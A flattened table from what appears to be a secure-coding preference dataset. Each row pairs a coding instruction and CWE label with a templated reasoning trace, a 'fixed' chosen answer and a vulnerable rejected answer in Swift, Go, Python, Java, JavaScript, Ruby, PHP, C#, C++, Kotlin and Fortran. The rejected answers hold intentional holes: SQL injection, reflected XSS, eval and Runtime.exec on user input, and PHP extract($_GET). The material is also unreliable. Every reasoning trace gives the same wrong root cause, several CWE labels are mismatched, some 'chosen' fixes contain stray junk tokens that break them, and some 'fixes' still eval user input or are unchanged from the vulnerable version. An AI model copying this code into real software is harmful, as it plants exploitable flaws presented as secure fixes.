id large_stringlengths 18 18 | category large_stringclasses 6
values | cwe_or_mitre large_stringclasses 221
values | instruction large_stringlengths 40 828 | compressed_think large_stringlengths 250 426 | response large_stringlengths 67 170k | chosen large_stringlengths 511 171k | rejected large_stringlengths 0 8k | chosen_token_count int64 129 60.4k | token_saving_ratio float64 0.12 11.1 |
|---|---|---|---|---|---|---|---|---|---|
cyber_e6f46e526e85 | vulnerability_research_cve | CWE-20 | Write a swift code that creates a User class with properties for username and password. Create an AuthenticationService class with a method named 'authenticate' that takes a User object as a parameter. If the username and password of the User object match the hardcoded values "admin" and "password", return true, otherw... | Target: swift implementation for Write a swift code that creates a User class with properties for usern.
Vulnerability Vector: The Swift code may expose sensitive data through debugging or logging statements (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
class User {
private var username: String
private var password: String
init(username: String, password: String) {
self.username = username
self.password = password
}
func getUsername() -> String {
return self.username
}
}
class Authe... | <think>
Target: swift implementation for Write a swift code that creates a User class with properties for usern.
Vulnerability Vector: The Swift code may expose sensitive data through debugging or logging statements (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
class User {
var username: String
var password: String
init(username: String, password: String) {
self.username = username
self.password = password
}
}
class AuthenticationService {
func authenticate(user: User) -> Bool {
// This is a dummy a... | 376 | 0.78 |
cyber_f34b6e6215a1 | vulnerability_research_cve | CWE-787 | Write a go code that takes a string and an integer as input. The function should return the first 'n' characters of the string where 'n' is the integer input. Print the result. | Target: go implementation for Write a go code that takes a string and an integer as input. The funct.
Vulnerability Vector: Go's handling of strings can cause potential buffer overflows due to lack of bou (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"strings"
) far
func main() {
input := "This is a string with more than 10 characters."
length := 10
result := substring(input, length)
fmt.Println(result)
}
func substring(str string, length int) string {
if len(str) < length {
return str
}
return str[:length]
}
``` | <think>
Target: go implementation for Write a go code that takes a string and an integer as input. The funct.
Vulnerability Vector: Go's handling of strings can cause potential buffer overflows due to lack of bou (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"strings"
)
func main() {
input := "This is a string with more than 10 characters."
length := 10
result := substring(input, length)
fmt.Println(result)
}
func substring(str string, length int) string {
return str[:length]
}
``` | 228 | 0.75 |
cyber_6767c3399136 | vulnerability_research_cve | CWE-89 | Write a python code that uses Flask and SQLite3 to create a web application that responds to HTTP GET requests at '/get_user'. The server should connect to an SQLite database named 'users.db', fetch a user's details from the 'users' table where the username matches the one provided in the URL parameter 'username', and ... | Target: python implementation for Write a python code that uses Flask and SQLite3 to create a web applic.
Vulnerability Vector: Python code susceptible to SQL injection due to unsafely passing user input into (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import sqlite3
from flask import Flask, request
app = Flask(__name__)
@app.route('/get_user')
def get_user():
username = request.args.get('username')
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# Use parameterized query to prevent SQL injection
cursor.execute("SELECT * FROM... | <think>
Target: python implementation for Write a python code that uses Flask and SQLite3 to create a web applic.
Vulnerability Vector: Python code susceptible to SQL injection due to unsafely passing user input into (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import sqlite3
from flask import Flask, request
app = Flask(__name__)
@app.route('/get_user')
def get_user():
username = request.args.get('username')
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
query = "SELECT * FROM users WHERE username='{}'".format(username)
result = curs... | 271 | 0.78 |
cyber_c79b270a7a0a | vulnerability_research_cve | CWE-476 | Write a java code that defines a class named 'User'. The User class should have a field named 'name' and a constructor that takes a string parameter for initializing the 'name' field. Override the equals method in the User class. The equals method should check if the object passed is not null and is an instance of User... | Target: java implementation for Write a java code that defines a class named 'User'. The User class sh.
Vulnerability Vector: Improper use of the equals() method in Java can lead to potential null pointer e (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
// A class representing a user
class User {
String name;
User(String name) {
this.name = name;
}
@Override
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
if (obj == null || getClass() != obj.getClass()) {
return... | <think>
Target: java implementation for Write a java code that defines a class named 'User'. The User class sh.
Vulnerability Vector: Improper use of the equals() method in Java can lead to potential null pointer e (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```java
// A class representing a user
class User {
String name;
User(String name) {
this.name = name;
}
@Override
public boolean equals(Object obj) {
if (obj == null || !(obj instanceof User)) {
return false;
}
User otherUser = (User) obj; // This line ... | 306 | 0.83 |
cyber_65d47f10aba9 | vulnerability_research_cve | CWE-79 | Write a javascript code that creates a simple HTTP server using Node.js. The server should respond with a greeting message that includes the name passed in the URL query string. If no name is provided, the server should default to 'World'. Be aware that this server is vulnerable to Cross-Site Scripting (XSS) attacks be... | Target: javascript implementation for Write a javascript code that creates a simple HTTP server using Node.j.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities may occur when user input is not prop (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
// This is a simple Node.js server that has been fixed for XSS vulnerabilities
const http = require('http');
const url = require('url');
http.createServer((req, res) => {
const queryObject = url.parse(req.url, true).query;
let name = queryObject.name || 'World';
// Sanitizing the user input ... | <think>
Target: javascript implementation for Write a javascript code that creates a simple HTTP server using Node.j.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities may occur when user input is not prop (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
// This is a simple Node.js server that has an XSS vulnerability
const http = require('http');
const url = require('url');
http.createServer((req, res) => {
const queryObject = url.parse(req.url, true).query;
let name = queryObject.name || 'World';
// Here, the user input is not properly... | 280 | 0.8 |
cyber_614fc564863a | vulnerability_research_cve | CWE-20 | Write a ruby code that asks the user to input a mathematical expression, evaluates the expression using the built-in 'eval' function and prints out the result. | Target: ruby implementation for Write a ruby code that asks the user to input a mathematical expressio.
Vulnerability Vector: The 'eval' function in Ruby can execute arbitrary code if it's used improperly. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
def evaluate_user_input(input)
begin
eval(input)
rescue SecurityError => e
puts "Invalid mathematical expression. Please try again."
end
end
puts "Enter a mathematical expression:"
user_input = gets.chomp
evaluate_user_input(user_input)
``` | <think>
Target: ruby implementation for Write a ruby code that asks the user to input a mathematical expressio.
Vulnerability Vector: The 'eval' function in Ruby can execute arbitrary code if it's used improperly. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
def evaluate_user_input(input)
eval(input)
end
puts "Enter a mathematical expression:"
user_input = gets.chomp
evaluate_user_input(user_input)
``` | 192 | 0.67 |
cyber_657b4656c434 | vulnerability_research_cve | CWE-78 | Write a go code that creates a struct named 'MyStruct' with a field 'data'. In the main function, create an instance of 'MyStruct' and assign the value 'Hello, world!' to its 'data' field. Then, print the 'data' field of the struct in a loop 1 million times. After that, force garbage collection and pause the program ex... | Target: go implementation for Write a go code that creates a struct named 'MyStruct' with a field 'd.
Vulnerability Vector: The Go language's garbage collector is non-deterministic, making it possible for (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"runtime/debug"
"time"
)
type MyStruct struct {
data string
}
func main() {
// Force garbage collection before starting the loop
debug.FreeOSMemory()
for i := 0; i < 1000000; i++ {
a := &MyStruct{"Hello, world!"}
fmt.Println(a.data)
}
// Explicitly call the garbage co... | <think>
Target: go implementation for Write a go code that creates a struct named 'MyStruct' with a field 'd.
Vulnerability Vector: The Go language's garbage collector is non-deterministic, making it possible for (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"fmt"
"runtime"
"time"
)
type MyStruct struct {
data string
}
func main() {
for i := 0; i < 1000000; i++ {
a := &MyStruct{"Hello, world!"}
fmt.Println(a.data)
}
runtime.GC()
time.Sleep(time.Second * 5)
}
``` | 268 | 0.72 |
cyber_282225c7ab62 | vulnerability_research_cve | CWE-20 | Write a javascript code that generates a random number between a minimum and maximum range. The function should take two parameters, the minimum and maximum values. Use the Math.random() function to generate a random decimal number between 0 and 1, then scale this number to be within the range of the minimum and maximu... | Target: javascript implementation for Write a javascript code that generates a random number between a minim.
Vulnerability Vector: Insecure Randomness: JavaScript's Math.random() function does not provide crypto (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
const crypto = require('crypto');
function generateSecureRandomNumber(min, max) {
const randomBuffer = crypto.randomBytes(4);
const randomInt = randomBuffer.readUInt32BE();
const scaledRandomNumber = Math.floor((randomInt / 0xFFFFFFFF) * (max - min + 1));
return scaledRandomNumber + min;
... | <think>
Target: javascript implementation for Write a javascript code that generates a random number between a minim.
Vulnerability Vector: Insecure Randomness: JavaScript's Math.random() function does not provide crypto (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function generateRandomNumber(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
console.log(generateRandomNumber(1, 10));
``` | 222 | 0.59 |
cyber_c6bc000a4eae | vulnerability_research_cve | CWE-20 | Write a c# code that creates an array of 5 strings, assigns some values to it and then prints each string in uppercase. | Target: c# implementation for Write a c# code that creates an array of 5 strings, assigns some value.
Vulnerability Vector: Potential null reference exception due to improper handling of nullable types. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Str... | ```c#
using System;
public class Program
{
public static void Main()
{
string[] names = new string[5];
names[0] = "John";
names[1] = ""; // Replace null with empty string
names[2] = "Alice";
names[3] = ""; // Replace null with empty string
names[4] = "Bob";
... | <think>
Target: c# implementation for Write a c# code that creates an array of 5 strings, assigns some value.
Vulnerability Vector: Potential null reference exception due to improper handling of nullable types. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```c#
using System;
public class Program
{
public static void Main()
{
string[] names = new string[5];
names[0] = "John";
names[1] = null;
names[2] = "Alice";
names[3] = null;
names[4] = "Bob";
foreach (string name in names)
{
Console... | 242 | 0.79 |
cyber_7de8e30aeec6 | vulnerability_research_cve | CWE-79 | Write a php code that gets the name from the URL parameter 'name' and then prints 'Hello, ' followed by the name. | Target: php implementation for Write a php code that gets the name from the URL parameter 'name' and .
Vulnerability Vector: The use of unsanitized user input in `$_GET` or `$_POST` variables in PHP can le (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
if(isset($_GET['name'])) {
$name = filter_input(INPUT_GET, 'name', FILTER_SANITIZE_STRING);
echo "Hello, " . htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
} else {
echo "No name provided";
}
?>
``` | <think>
Target: php implementation for Write a php code that gets the name from the URL parameter 'name' and .
Vulnerability Vector: The use of unsanitized user input in `$_GET` or `$_POST` variables in PHP can le (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$name = $_GET['name'];
echo "Hello, " . $name;
?>
``` | 204 | 0.5 |
cyber_87a3444e7a0d | vulnerability_research_cve | CWE-476 | Write a kotlin code that creates an object of class MyClass and tries to print its string representation. If the object is null, it will throw a NullPointerException. | Target: kotlin implementation for Write a kotlin code that creates an object of class MyClass and tries .
Vulnerability Vector: Improper handling of null values in Kotlin can lead to NullPointerException if n (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
fun main(args: Array<String>) {
val obj: MyClass? = null
println(obj?.toString() ?: "Object is null")
}
class MyClass {
override fun toString(): String {
return "MyClass"
}
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that creates an object of class MyClass and tries .
Vulnerability Vector: Improper handling of null values in Kotlin can lead to NullPointerException if n (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
fun main(args: Array<String>) {
val obj: MyClass? = null
println(obj.toString())
}
class MyClass {
override fun toString(): String {
return "MyClass"
}
}
``` | 182 | 0.76 |
cyber_883546e2043b | vulnerability_research_cve | CWE-20 | Write a python code that defines two functions, one to set a global variable 'x' to 10 and another to change 'x' to 'Hello World'. Then call these functions and print the value of 'x' after each function call. | Target: python implementation for Write a python code that defines two functions, one to set a global va.
Vulnerability Vector: Python's global keyword allows a variable to be overwritten at any point in the (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
class GlobalVariable:
def __init__(self):
self.x = None
def set_global_variable(self):
self.x = 10
def modify_global_variable(self):
self.x = "Hello World" Hawk"
gv = GlobalVariable()
gv.set_global_variable()
print(gv.x) # Output: 10
gv.modify_global_variable()
print(gv... | <think>
Target: python implementation for Write a python code that defines two functions, one to set a global va.
Vulnerability Vector: Python's global keyword allows a variable to be overwritten at any point in the (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
def set_global_variable():
global x
x = 10
def modify_global_variable():
global x
x = "Hello World"
set_global_variable()
print(x) # Output: 10
modify_global_variable()
print(x) # Output: Hello World
``` | 238 | 0.65 |
cyber_c960bc8fe3c6 | vulnerability_research_cve | CWE-78 | Write a java code that deserializes an object from a file and executes a command on the system when the object is being deserialized. | Target: java implementation for Write a java code that deserializes an object from a file and executes.
Vulnerability Vector: Insecure deserialization of objects can lead to Remote Code Execution. (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy:... | ```java
import java.io.*;
public class DeserializeExample {
public static void main(String[] args) {
try {
FileInputStream fileIn = new FileInputStream("/tmp/user.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
User user = (User) in.readObject();
... | <think>
Target: java implementation for Write a java code that deserializes an object from a file and executes.
Vulnerability Vector: Insecure deserialization of objects can lead to Remote Code Execution. (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```java
import java.io.*;
public class DeserializeExample {
public static void main(String[] args) {
try {
FileInputStream fileIn = new FileInputStream("/tmp/user.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
User user = (User) in.readObject();
... | 350 | 1 |
cyber_009b552b3451 | vulnerability_research_cve | CWE-787 | Write a c# code that reads a line of text from the console, converts each character of the input into an array of characters and then prints out the array. | Target: c# implementation for Write a c# code that reads a line of text from the console, converts e.
Vulnerability Vector: A potential buffer overflow vulnerability in C# can occur when improperly handli (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
using System;
using System.Collections.Generic;
class Program
{
static void Main(string[] args)
{
string userInput = Console.ReadLine();
List<char> inputList = new List<char>();
foreach (char c in userInput)
{
inputList.Add(c);
}
Console.WriteLi... | <think>
Target: c# implementation for Write a c# code that reads a line of text from the console, converts e.
Vulnerability Vector: A potential buffer overflow vulnerability in C# can occur when improperly handli (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c#
class Program
{
static void Main(string[] args)
{
string userInput = Console.ReadLine();
char[] inputArray = new char[10];
int i = 0;
foreach (char c in userInput)
{
inputArray[i] = c;
i++;overedBuffer
}
Console.WriteLine(inpu... | 218 | 0.8 |
cyber_d7cc1a9e381a | vulnerability_research_cve | CWE-20 | Write a php code that assigns two variables 'var1' and 'var2' with string values 'Hello' and 'World' respectively. Then, take user input in the form of a string that will be evaluated using the eval() function. This string should be in the format 'var3="Something";'. Afterwards, use the extract() function to import var... | Target: php implementation for Write a php code that assigns two variables 'var1' and 'var2' with str.
Vulnerability Vector: PHP's `extract()` function can lead to unintended variable creation or modificat (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$var1 = "Hello";
$var2 = "World";
// User input
$userInput = "var3=\"Something\";";
// Evaluate user input
eval("\$" . $userInput);
// Safe usage of extract()
$allowedKeys = ['var1', 'var2', 'var3'];
$input = array_filter($_GET, function($key) use ($allowedKeys) {
return in_array($key, $allowedKeys)... | <think>
Target: php implementation for Write a php code that assigns two variables 'var1' and 'var2' with str.
Vulnerability Vector: PHP's `extract()` function can lead to unintended variable creation or modificat (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$var1 = "Hello";
$var2 = "World";
// User input
$userInput = "var3=\"Something\";";
// Evaluate user input
eval("$" . $userInput);
// Unsafe usage of extract()
extract($_GET);
echo $var1;
echo $var2;
echo $var3;
?>
``` | 271 | 0.61 |
cyber_3bbc127977dc | vulnerability_research_cve | CWE-20 | Write a go code that defines a user struct with fields 'Name' and 'Age'. Create a function named 'findUser' that takes a string argument 'name' and returns a pointer to a User struct and an error. If the name passed in is 'admin', return a pointer to a User struct with 'Name' as 'admin' and 'Age' as 30. If the name is ... | Target: go implementation for Write a go code that defines a user struct with fields 'Name' and 'Age.
Vulnerability Vector: Improper error handling in Go can lead to leaking sensitive information through (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"errors"
"fmt"
)
type User struct {
Name string
Age int
}
func findUser(name string) (*User, error) {
if name != "admin" {
return nil, errors.New("user not found")
}
return &User{Name: "admin", Age: 30}, nil
}
func main() {
user, err := findUser("admin")
if err != nil {
fmt... | <think>
Target: go implementation for Write a go code that defines a user struct with fields 'Name' and 'Age.
Vulnerability Vector: Improper error handling in Go can lead to leaking sensitive information through (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"errors"
"fmt"
)
type User struct {
Name string
Age int
}
func findUser(name string) (*User, error) {
if name == "admin" {
return &User{Name: "admin", Age: 30}, nil
}
return nil, errors.New("user not found")
}
func main() {
user, err := findUser("admin")
if err != nil {
fmt... | 284 | 0.87 |
cyber_b1da2d5f93b4 | vulnerability_research_cve | CWE-476 | Write a kotlin code that checks if a string variable 'a' is equal to "Hello". If it is, print "a is Hello", otherwise print "a is not Hello". The value of 'a' should be null. | Target: kotlin implementation for Write a kotlin code that checks if a string variable 'a' is equal to ".
Vulnerability Vector: The use of `==` operator for nullable types in Kotlin can lead to NullPointerExc (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
fun main(args: Array<String>) {
val a: String? = null
when {
a == "Hello" -> println("a is Hello")
else -> println("a is not Hello")
}
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that checks if a string variable 'a' is equal to ".
Vulnerability Vector: The use of `==` operator for nullable types in Kotlin can lead to NullPointerExc (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
fun main(args: Array<String>) {
val a: String? = null
if (a == "Hello") {
println("a is Hello")
} else {
println("a is not Hello")
}
}
``` | 179 | 0.78 |
cyber_6ccd3ac302f8 | vulnerability_research_cve | CWE-787 | Write a java code that reads a text file named 'test.txt' and prints its content on the console. | Target: java implementation for Write a java code that reads a text file named 'test.txt' and prints i.
Vulnerability Vector: Possible buffer overflow vulnerability in Java when reading from InputStream wit (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) {
try (FileInputStream inputStream = new FileInputStream("test.txt")) {
StringBuilder sb = new StringBuilder();
int ch;
while ((ch = inputStream.read()) != -1) {
sb.appen... | <think>
Target: java implementation for Write a java code that reads a text file named 'test.txt' and prints i.
Vulnerability Vector: Possible buffer overflow vulnerability in Java when reading from InputStream wit (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] bytes = new byte[1024];
InputStream inputStream = new FileInputStream("test.txt");
int read = inputStream.read(bytes);
String result = new String(bytes);
System.o... | 235 | 0.71 |
cyber_91dfcce830c5 | vulnerability_research_cve | CWE-20 | Write a php code that creates two variables, assigns them values and then extracts them into an array. Then echoes the values of these variables. | Target: php implementation for Write a php code that creates two variables, assigns them values and t.
Vulnerability Vector: The PHP `extract()` function can lead to arbitrary code execution if not used pr (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$var1 = "Hello";
$var2 = "World";
// Fixed code:
$array = compact('var1', 'var2');
echo $array['var1'];
echo $array['var2'];
?>
``` | <think>
Target: php implementation for Write a php code that creates two variables, assigns them values and t.
Vulnerability Vector: The PHP `extract()` function can lead to arbitrary code execution if not used pr (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$var1 = "Hello";
$var2 = "World";
// Vulnerable code:
$array = array('var1' => $var1, 'var2' => $var2);
extract($array);
echo $var1;
echo $var2;
?>
``` | 171 | 0.87 |
cyber_bdac4a9e6723 | vulnerability_research_cve | CWE-20 | Write a go code that opens and reads a file named 'nonexistent.txt'. If there's an error opening the file, print out an error message. Make sure to close the file after you're done reading it. | Target: go implementation for Write a go code that opens and reads a file named 'nonexistent.txt'. I.
Vulnerability Vector: Go does not have built-in support for error handling or exception handling, whic (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"io/ioutil"
"log"
)
func readFile(fileName string) {
content, err := ioutil.ReadFile(fileName)
if err != nil {
log.Fatal(err)lowing
}
fmt.Println(string(content))
}
func main() {
readFile("nonexistent.txt")
}
``` | <think>
Target: go implementation for Write a go code that opens and reads a file named 'nonexistent.txt'. I.
Vulnerability Vector: Go does not have built-in support for error handling or exception handling, whic (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"fmt"
"os"
)
func readFile(fileName string) {
file, err := os.Open(fileName)
if err != nil {
fmt.Println("Error opening file:", err)Bs
}
defer file.Close()
}
func main() {
readFile("nonexistent.txt")
}
``` | 223 | 0.77 |
cyber_720b07620161 | vulnerability_research_cve | CWE-20 | Write a c++ code that defines a class 'SimpleCalculator' with a public method 'divide'. This method takes two integers as input parameters, 'dividend' and 'divisor'. If the divisor is zero, it throws an exception with a message 'Division by zero is not allowed'. Otherwise, it returns the division of dividend by divisor... | Target: c++ implementation for Write a c++ code that defines a class 'SimpleCalculator' with a public.
Vulnerability Vector: Inadequate error handling in C++ can lead to undefined behavior and potential se (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c++
#include <iostream>
#include <stdexcept>
class SimpleCalculator {
public:
double divide(double dividend, double divisor) {
if (divisor == 0) {
throw std::invalid_argument("Division by zero is not allowed!");
}
return dividend / divisor;
}
};
int main() {
SimpleCa... | <think>
Target: c++ implementation for Write a c++ code that defines a class 'SimpleCalculator' with a public.
Vulnerability Vector: Inadequate error handling in C++ can lead to undefined behavior and potential se (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c++
#include <iostream>
#include <stdexcept>
class SimpleCalculator {
public:
int divide(int dividend, int divisor) {
if (divisor == 0) {
throw std::invalid_argument("Division by zero is not allowed!");
}
return dividend / divisor;
}
};
int main() {
SimpleCalculator ... | 300 | 0.84 |
cyber_8627a0ebaf15 | vulnerability_research_cve | CWE-78 | Write a java code that takes user input, executes it as a system command and prints the output. | Target: java implementation for Write a java code that takes user input, executes it as a system comma.
Vulnerability Vector: Inadequate input validation resulting in potential Remote Code Execution (RCE) i (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.io.*;
import java.util.*;
public class RCEExample {
private static final List<String> ALLOWED_COMMANDS = Arrays.asList("ls", "pwd", "cat");
public static void main(String[] args) throws Exception {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your com... | <think>
Target: java implementation for Write a java code that takes user input, executes it as a system comma.
Vulnerability Vector: Inadequate input validation resulting in potential Remote Code Execution (RCE) i (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.io.*;
import java.util.*;
public class RCEExample {
public static void main(String[] args) throws Exception {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your command:");
String command = scanner.nextLine();
Runtime runtime = Runtime.getRu... | 343 | 0.69 |
cyber_eb4660064d2b | vulnerability_research_cve | CWE-20 | Write a javascript code that generates a random password of a given length using uppercase letters, lowercase letters and digits. | Target: javascript implementation for Write a javascript code that generates a random password of a given le.
Vulnerability Vector: Insecure Random Number Generation: JavaScript's Math.random() function doesn't p (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
function generatePassword(length) {
var result = '';
var upperCaseChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
var lowerCaseChars = 'abcdefghijklmnopqrstuvwxyz';
var digitChars = '0123456789';
var allChars = upperCaseChars + lowerCaseChars + digitChars;
var array = new Uint32Array(le... | <think>
Target: javascript implementation for Write a javascript code that generates a random password of a given le.
Vulnerability Vector: Insecure Random Number Generation: JavaScript's Math.random() function doesn't p (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function generatePassword(length) {
var result = '';
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for (var i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * charactersLeng... | 306 | 0.68 |
cyber_445b31c85397 | vulnerability_research_cve | CWE-787 | Write a go code that prints a string of 10 million 'a' characters. | Target: go implementation for Write a go code that prints a string of 10 million 'a' characters..
Vulnerability Vector: Buffer Overflow Vulnerability in Go can occur when strings are concatenated with (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Stra... | ```go
package main
import (
"fmt"
"strings"
) constrained by
func main() {
var builder strings.Builder
for i := 0; i < 10000000; i++ {
builder.WriteString("a")
}
fmt.Println(builder.String())
}
``` | <think>
Target: go implementation for Write a go code that prints a string of 10 million 'a' characters..
Vulnerability Vector: Buffer Overflow Vulnerability in Go can occur when strings are concatenated with (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```go
package main
import (
"fmt"
"strings"
)
func main() {
var strs []string
for i := 0; i < 10000000; i++ {
strs = append(strs, "a")
}
fmt.Println(strings.Join(strs, ""))
}
``` | 199 | 0.83 |
cyber_1dd0472bd771 | vulnerability_research_cve | CWE-787 | Write a fortran code that prints out the string 'Hello' followed by a number from 1 to 15. | Target: fortran implementation for Write a fortran code that prints out the string 'Hello' followed by a .
Vulnerability Vector: The potential buffer overflow vulnerability in Fortran could easily occur throug (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=10) :: str
integer :: i
character(len=10) :: str2
do i = 1, 15
str = "Hello"
write(str2, '(A5, I2)') str, i
print *, trim(adjustl(str2))
end do
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that prints out the string 'Hello' followed by a .
Vulnerability Vector: The potential buffer overflow vulnerability in Fortran could easily occur throug (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program main
implicit none
character(len=10) :: str
integer :: i
character(len=10) :: str2
do i = 1, 15
str = "Hello"
write(str2, '(A5, I2)') str, i
print *, str2
end do
end program main
``` | 207 | 0.8 |
cyber_4d3f4462aec0 | vulnerability_research_cve | CWE-787 | Write a java code that reads a line from the standard input, stores each character of the input string into an array of characters. Then print out the array. | Target: java implementation for Write a java code that reads a line from the standard input, stores ea.
Vulnerability Vector: Incomplete or incorrect input validation in Java can lead to buffer overflow and (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String input = reader.readLine();
// Check if input is null or empty
if (input == null || ... | <think>
Target: java implementation for Write a java code that reads a line from the standard input, stores ea.
Vulnerability Vector: Incomplete or incorrect input validation in Java can lead to buffer overflow and (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```java
import java.io.*;
class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String input = reader.readLine();
char[] buffer = new char[10];
for (int i = 0; i < input.length(); i++) {
... | 342 | 0.57 |
cyber_e8c3e193e661 | vulnerability_research_cve | CWE-79 | Write a javascript code that creates a web server using Node.js. The server should have a '/search' endpoint that responds with an HTML page containing a form. When the form is submitted, it should redirect to the same page and display the search query in a heading tag. | Target: javascript implementation for Write a javascript code that creates a web server using Node.js. The s.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities can occur when user input is not prop (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
const http = require('http');
const url = require('url');
function search(query) {
return "<h1>You searched for: " + encodeURIComponent(query) + "</h1>";
}
http.createServer((req, res) => {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write("<h1>Search Page</h1>");
res.write("<... | <think>
Target: javascript implementation for Write a javascript code that creates a web server using Node.js. The s.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities can occur when user input is not prop (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function search(query) {
return "You searched for: " + query;
}
const http = require('http');
http.createServer((req, res) => {
res.writeHead(200, {'Content-Type': 'text/html'});
res.write("<h1>Search Page</h1>");
res.write("<form action='/search' method='GET'>");
res.write("<input t... | 355 | 0.81 |
